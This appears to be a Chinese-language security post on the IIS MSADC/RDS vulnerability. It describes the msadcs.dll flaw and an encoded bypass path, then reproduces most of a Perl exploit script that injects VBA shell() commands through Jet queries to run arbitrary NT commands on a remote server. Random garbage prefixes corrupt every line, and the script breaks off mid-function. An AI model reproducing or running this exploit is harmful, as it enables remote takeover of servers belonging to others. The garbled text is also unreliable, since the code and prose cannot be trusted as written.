IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
E7A!,A&> Kn~Rck|
] 涉及程序:
Zl5'%b$& Microsoft NT server
@zg}x0] )JS6W 描述:
>-A@6Qe_ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
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详细:
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{j}M> 如果你没有时间读详细内容的话,就删除:
F]3Y,{/V c:\Program Files\Common Files\System\Msadc\msadcs.dll
s7Agr!>f 有关的安全问题就没有了。
BNK]Os nzflUR{`- 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
zi-_ l #Lhv=0op 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
G|g^yaq> 关于利用ODBC远程漏洞的描述,请参看:
nQc#AFg
/WTEz\k http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm O]u'7nO{{ "Q.* 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
S!b18|o" http://www.microsoft.com/security/bulletins/MS99-025faq.asp s/D)X=P1 .hat!Tt9 这里不再论述。
"@UQSf, @V*dF|# / 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
q\6(_U#Tl OH\^j1x9I /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Q7865 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
.Fn|Okn^gr hk~/W}sI W" 5nS =d% #将下面这段保存为txt文件,然后: "perl -x 文件名"
)Z/"P\qo 5}#wp4U #!perl
@[n#-!i #
@RoZd? # MSADC/RDS 'usage' (aka exploit) script
L80(9Y^xn #
~Bzzu %S # by rain.forest.puppy
bKo %Ak, #
=01X # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
(>v'0RA # beta test and find errors!
\/NF??k,jk ?%s>a8w use Socket; use Getopt::Std;
x}] 56f getopts("e:vd:h:XR", \%args);
BN_h3|) 3'4+3Xo print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
REUxXaN>Z )%7P?^> if (!defined $args{h} && !defined $args{R}) {
/'/I^ab print qq~
qyH-Z@ Usage: msadc.pl -h <host> { -d <delay> -X -v }
h|qJ{tUWc$ -h <host> = host you want to scan (ip or domain)
vQMBJ& -d <seconds> = delay between calls, default 1 second
8`q7Yss6F -X = dump Index Server path table, if available
TekUY m!G -v = verbose
|mb2<! ag{ -e = external dictionary file for step 5
7j]v_2S` ~e{ @ 5.g Or a -R will resume a command session
1 R5pf ZwmucY%3 ~; exit;}
j_Szw
w- NQ9v[gv $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
kka5=u if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;5Sdx5`_ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
un{ZysmtB6 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
m@4Dz| $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
6\4-I^=B if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
\|;\ /at7H! if (!defined $args{R}){ $ret = &has_msadc;
tb3VqFx die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
y0 * rY d!,t_jM0 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
U.7fMc# . "cmd /c ";
O `}EiyV $in=<STDIN>; chomp $in;
O*EV~{K $command="cmd /c " . $in ;
/A=w`[< 6%v9o?:~l if (defined $args{R}) {&load; exit;}
-=ZL(r
1 .G0 N+) print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Luq4q95] &try_btcustmr;
7;'33Bm* y~SVD@ print "\nStep 2: Trying to make our own DSN...";
J+6zV m &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
@A/k"Ax{r 1vj/6L print "\nStep 3: Trying known DSNs...";
F!omkN &known_dsn;
`9~
%6N?7# "/W[gP[y% print "\nStep 4: Trying known .mdbs...";
3N7H7(IR &known_mdb;
)g0fN+Mb {0zn~+ if (defined $args{e}){
M;(,0d k print "\nStep 5: Trying dictionary of DSN names...";
UiFH*HT &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
V`V\/s gj )pnyVTKt print "Sorry Charley...maybe next time?\n";
+&EXTZ@o exit;
FfoOJzf~o gAqK)@8- ##############################################################################
#~ u0R>= LFp "Waiv sub sendraw { # ripped and modded from whisker
+{J8,^z# sleep($delay); # it's a DoS on the server! At least on mine...
)-C3z my ($pstr)=@_;
0'QWa{dS\ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
P15
H[<:Fz die("Socket problems\n");
CD|[PkjW if(connect(S,pack "SnA4x8",2,80,$target)){
"LMj,qZ1! select(S); $|=1;
%`Re{%1; print $pstr; my @in=<S>;
tXD$HeBB? select(STDOUT); close(S);
}cKB)N
BJb return @in;
pfA6?tP` } else { die("Can't connect...\n"); }}
zw0w."V
XX6Z|Y5. ##############################################################################
7>vm?a^D2&
#&Sr;hAJ sub make_header { # make the HTTP request
X#Bb?Pv my $msadc=<<EOT
A4K.,bZ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
{$*N1$(% User-Agent: ACTIVEDATA
).k DY?s Host: $ip
@-N` W9 Content-Length: $clen
e[S`Dm"i)' Connection: Keep-Alive
0#q=-M/?` VtreOJ+ ADCClientVersion:01.06
x%{]'z Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
' W/M>!X z6>@9+V-& --!ADM!ROX!YOUR!WORLD!
@f!X%)\;x Content-Type: application/x-varg
1>!LK_ Content-Length: $reqlen
QTV*m>D .n-#A EOT
y8Va>ul"U ; $msadc=~s/\n/\r\n/g;
7R+(3NU1A return $msadc;}
6b|?@ 8)i""OD@I ##############################################################################
g?C;b>4 ny={OhP- sub make_req { # make the RDS request
~E<2gMKjO my ($switch, $p1, $p2)=@_;
d:H'[l.F% my $req=""; my $t1, $t2, $query, $dsn;
l'@-?p(Vuw VJh8`PVX if ($switch==1){ # this is the btcustmr.mdb query
SC{m@ $query="Select * from Customers where City=" . make_shell();
1J@Iekat $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
vqf$(" $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
tYS4"Nfb+ U,
6iT elsif ($switch==2){ # this is general make table query
+n3I\7G> $query="create table AZZ (B int, C varchar(10))";
2_o#Gx' $dsn="$p1";}
nQ%HtXt; pl[J!d.c elsif ($switch==3){ # this is general exploit table query
"
\$^j#o $query="select * from AZZ where C=" . make_shell();
}[*' $dsn="$p1";}
yU$MB,1 vdQoJWuB elsif ($switch==4){ # attempt to hork file info from index server
S}m_XR] $query="select path from scope()";
OMGggg $dsn="Provider=MSIDXS;";}
G=dzP}B'WA $Y$9]G": elsif ($switch==5){ # bad query
#el27"QP0 $query="select";
Fe+
@; $dsn="$p1";}
M[uWX= z\YIwrq3* $t1= make_unicode($query);
x 3@-E $t2= make_unicode($dsn);
oFY!NMq}: $req = "\x02\x00\x03\x00";
ON ?Y
Df $req.= "\x08\x00" . pack ("S1", length($t1));
D$>_W ,*V $req.= "\x00\x00" . $t1 ;
jYsAL=oh,* $req.= "\x08\x00" . pack ("S1", length($t2));
c/{FDN $req.= "\x00\x00" . $t2 ;
>.h:Y5 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
,Z.sGv return $req;}
Rx%S<i;9 ^5mc$~1` ##############################################################################
L9x-90'q, v
gN!9 sub make_shell { # this makes the shell() statement
!> UlvT- return "'|shell(\"$command\")|'";}
{Gxe%gu6K /--p#G h' ##############################################################################
t6+m` Kq )?n'ZhsX sub make_unicode { # quick little function to convert to unicode
"Fz.#U my ($in)=@_; my $out;
"gM^o for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
V+d_1]
l return $out;}
U"oNJ8&%| |WS)KR ! ##############################################################################
n*4`Tduu^ "LyD sub rdo_success { # checks for RDO return success (this is kludge)
cby# my (@in) = @_; my $base=content_start(@in);
0=d2_YzSf if($in[$base]=~/multipart\/mixed/){
"S#FI return 1 if( $in[$base+10]=~/^\x09\x00/ );}
^?z%f_ri return 0;}
8hRcB[F~S 1MelHW ##############################################################################
v=`yfCX-qX x2"iZzQlD sub make_dsn { # this makes a DSN for us
LQ0/oYmNc my @drives=("c","d","e","f");
H=dIZ print "\nMaking DSN: ";
?^|`A}q# foreach $drive (@drives) {
18g_v"6o print "$drive: ";
:_{8amO my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
UD I{4+z "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
=:W2NN' . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
ZWs $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
V35Vi6*p return 0 if $2 eq "404"; # not found/doesn't exist
|dRVSVN if($2 eq "200") {
3"fDFR foreach $line (@results) {
A_9WSXR return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
f~IJ4T2#N } return 0;}
)7q$PcY 3;nOm =I ##############################################################################
Bous d i1iP'`r sub verify_exists {
-@To<